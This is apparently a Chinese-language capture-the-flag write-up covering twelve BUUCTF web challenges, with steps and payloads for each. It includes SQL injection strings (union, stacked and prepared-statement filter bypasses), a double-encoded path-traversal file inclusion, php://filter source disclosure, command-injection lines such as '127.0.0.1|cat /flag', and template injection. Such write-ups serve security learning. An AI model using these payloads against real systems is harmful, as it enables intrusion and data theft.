前言
对于信安学习来讲,刷题是获取知识点,查漏补缺的好途径,自己编写WP也能对能力的提升有所裨益
1~5关
1.[极客大挑战 2019]Havefun
知识点
- 代码审计
做题过程
首先进入页面发现没有啥利用点,于是通过F12审查网页源码在最后的注释地方发现了给咱们的提示,需要传入一个cat的参数,如果值与dog相等,那么就echo出flag。
payload
url?cat=dog
2.[HCTF 2018]WarmUp
知识点
- 代码审计
- 文件包含漏洞
做题过程
首先进入页面f12审查源码发现还有一个source.php,进入后看到了一大串的代码,接着进入白名单的hint.php查看,得知flag在fffflllllaaaagggg中,从最后一串代码可知我们考虑使用文件包含,获取出这里面的flag。接着考虑如何绕过checkfile。checkfile共有四次检测,一次检测是否page传入的是字符串,还有三次都是白名单检测。其中有mb_substr过滤?之后的东西,以及一次urldecode。这边我们考虑对?进行二次编码来绕过第一个substr过滤。然后上传即可。
payload
file=hint.php%253f/../../../../../../../../ffffllllaaaagggg
3.[极客大挑战 2019]EasySQL
知识点
- sql注入漏洞
做题过程
首先进入页面常规尝试一下‘ 发现页面有报错,然后我们进行拼接语句。先使用order by判断有几个字段,在三的时候给出回显,接着拼接语句,显示到数据库的时候就给了咱们flag。
payload
url?username=1&password=1’ union select 1,1,(select database()) %23
或者利用万能密码url?username=1&password=1’ #
4.[强网杯 2019]随便注
知识点
- sql注入漏洞
做题过程
进入页面进行常规尝试发现是’字符型注入,接着利用order by判断可利用的字段数为2,然后尝试联合注入发现了非常严格的过滤。于是我们采用报错注入,然鹅select被限制了也查不出个啥玩意。这边看了别的wp发现原来是需要使用堆叠注入。
通过堆叠注入语句得知了有两个表分别是words和一串数字,但是由于select等语句被限制,所以我们难以爆出数据。这是从默认回显的数据考虑,我们可以将一串数字的表中flag字段改名成默认回显的words表中的id。这样页面回显的就是flag了
或者使用预编译的手段,拼接一个select语句并执行(注意,set和prepare采用了strstr函数过滤,考虑利用大小写绕过)
Payload
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
1
2
3
2. ```mysql
1'; alter table `words` rename to `words1`;alter table `1919810931114514` rename to `words`;alter table `words` change flag id;#
收获
以后遇到特别严格的sql注入需要考虑一下堆叠注入(尤其是看到multi_query()函数)
一直没有注意sql的反引号,导致有个查询卡了很久,mysql中用一对反引号来标注sql语句中的标识,如数据库名、表名、字段名等
对于页面本身默认回显的,且过滤十分严格的可以考虑尝试利用MySQL的alter和rename语句
对于过滤严格的sql注入,可以尝试使用预编译的手段
预编译的相关语法
1
2
3
4set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
5.[SUCTF 2019]EasySQL
知识点
- sql注入漏洞
做题过程
首先进行常规尝试,发现没有页面没有错误回显,所以报错注入泡汤,联合注入的语句被过滤也泡汤,布尔盲注的基础语句也无法得到错误回显,依旧泡汤。最终尝试堆叠注入,显示出了databases和tables,但是无法进行下一步操作了
查看他人的wp得知需要对后端语句进行猜测
- 输入非零数字得到的回显1和输入其余字符得不到回显猜测内部的查询语句可能存在有||
- 进一步猜测post进去的数据||flag from Flag,这里的||起到的是or的作用
设置mysql中sql_mode中的参数为pipes_as_concat,可以将||的作用改为拼接字符串
payload
1;set sql_mode=pipes_as_concat;select 1
收获
- select任何一个常数都会在表中新建一列,然后查询出那一列的内容
- sql_mode:它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符
- 对于输入非零数字有回显而其余字符没有回显要学会猜测后端的代码
6~10关
6.[ACTF2020 新生赛]Include
知识点
- 文件包含漏洞
- 伪协议
做题过程
首先题目名为include,说明需要用到文件包含漏洞的知识,点开tips发现url存在文件包含,联系题目猜测是利用伪协议读取网页源码,首先考虑的是php://input”伪协议 + POST发送PHP代码但是发现被过滤,其次采用php://filter伪协议成功包含
payload
file=php://filter/read=convert.base64-encode/resource=flag.php
7.[极客大挑战 2019]Secret File
知识点
- 文件包含漏洞
- 伪协议
- 代码审计
做题过程
进入页面根据题目名称查看一下源码,发现让我们到Archive_room.php去,进入后有一个红色的按钮,点进去跳到 end.php啥玩意都没有,hint是让我们回头看一下,仔细看一下源码发现有个action.php被隐藏了,进入后依旧跳到end.php,猜测是action.php的访问时间很短,结束了就自动跳到end.php。这边利用burp抓包发现有个secret.php被隐藏,进入后直接给了咱们源码。看到include函数得知是利用文件包含漏洞,采用php://filter伪协议然后解码一下获得flag
payload
8.[极客大挑战 2019]LoveSQL
知识点
- sql注入漏洞
做题过程
进入页面首先尝试发现是单引号报错,有报错回显但是没有具体报错信息,所以不可以使用报错注入,尝试用联合查询,一步步得到flag
Your password is ‘1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{2a95844c-8c34-4ace-84fd-b4db262e27fb}’
payload
- 爆数据库名:http://16acff21-709d-4913-b726-231dd188b6cd.node3.buuoj.cn/check.php?username=1' union select 1,2,database()%23&password=1
- 爆表名:http://16acff21-709d-4913-b726-231dd188b6cd.node3.buuoj.cn/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’geek’%23&password=1
- 爆列名:http://16acff21-709d-4913-b726-231dd188b6cd.node3.buuoj.cn/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’l0ve1ysq1’%23&password=1
- 爆字段:http://16acff21-709d-4913-b726-231dd188b6cd.node3.buuoj.cn/check.php?username=1' union select 1,2,group_concat(id,0x7e,username,0x7e,password) from geek.l0ve1ysq1%23&password=1
9.[GXYCTF2019]Ping Ping Ping
知识点
- 命令执行
做题过程
进入页面后结合题目给出的ping提示,尝试输入?ip=127.0.0.1果然得到回显,接下来拼接ls,成功执行,后面在cat flag.php时遇到了一些过滤检测,尝试使用变量拼接成功得到flag
payload
1 | /?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php |
10.[ACTF2020 新生赛]Exec
知识点
- 命令执行语句
做题过程
此题是上一题的简易版,参考上一题即可
payload
1 | 127.0.0.1|cat /flag |
11-15关
11.[极客大挑战 2019]Knife
知识点
- 一句话木马
做题过程
进入题目环境,直接有一行代码为eval(xxxxx),考虑连接蚁剑。果然在根目录存在一个flag文件
12.[护网杯 2018]easy_tornado
知识点
- 模板注入
做题过程
打开题目发现有三个txt文件,一个告诉了flag文件的位置,另外的提示render和最终payload格式。
经过测试得到存在模板注入的页面是一个报错页面。可以修改msg的参数,可问题出在了cookie我们不知道,想了半天也出不来,最后看别人的wp才知道在tornado的前端页面模板中存在一些可以访问的快速对象,我们想找的cookie就在handler.settings里面,通过render访问handler.settings便可以获取到cookie了。
payload
1 | xxxxxxxxx/file?filename=/fllllllllllllag&filehash=6ae362ce8fc45f789ea20ff9fc771d1f |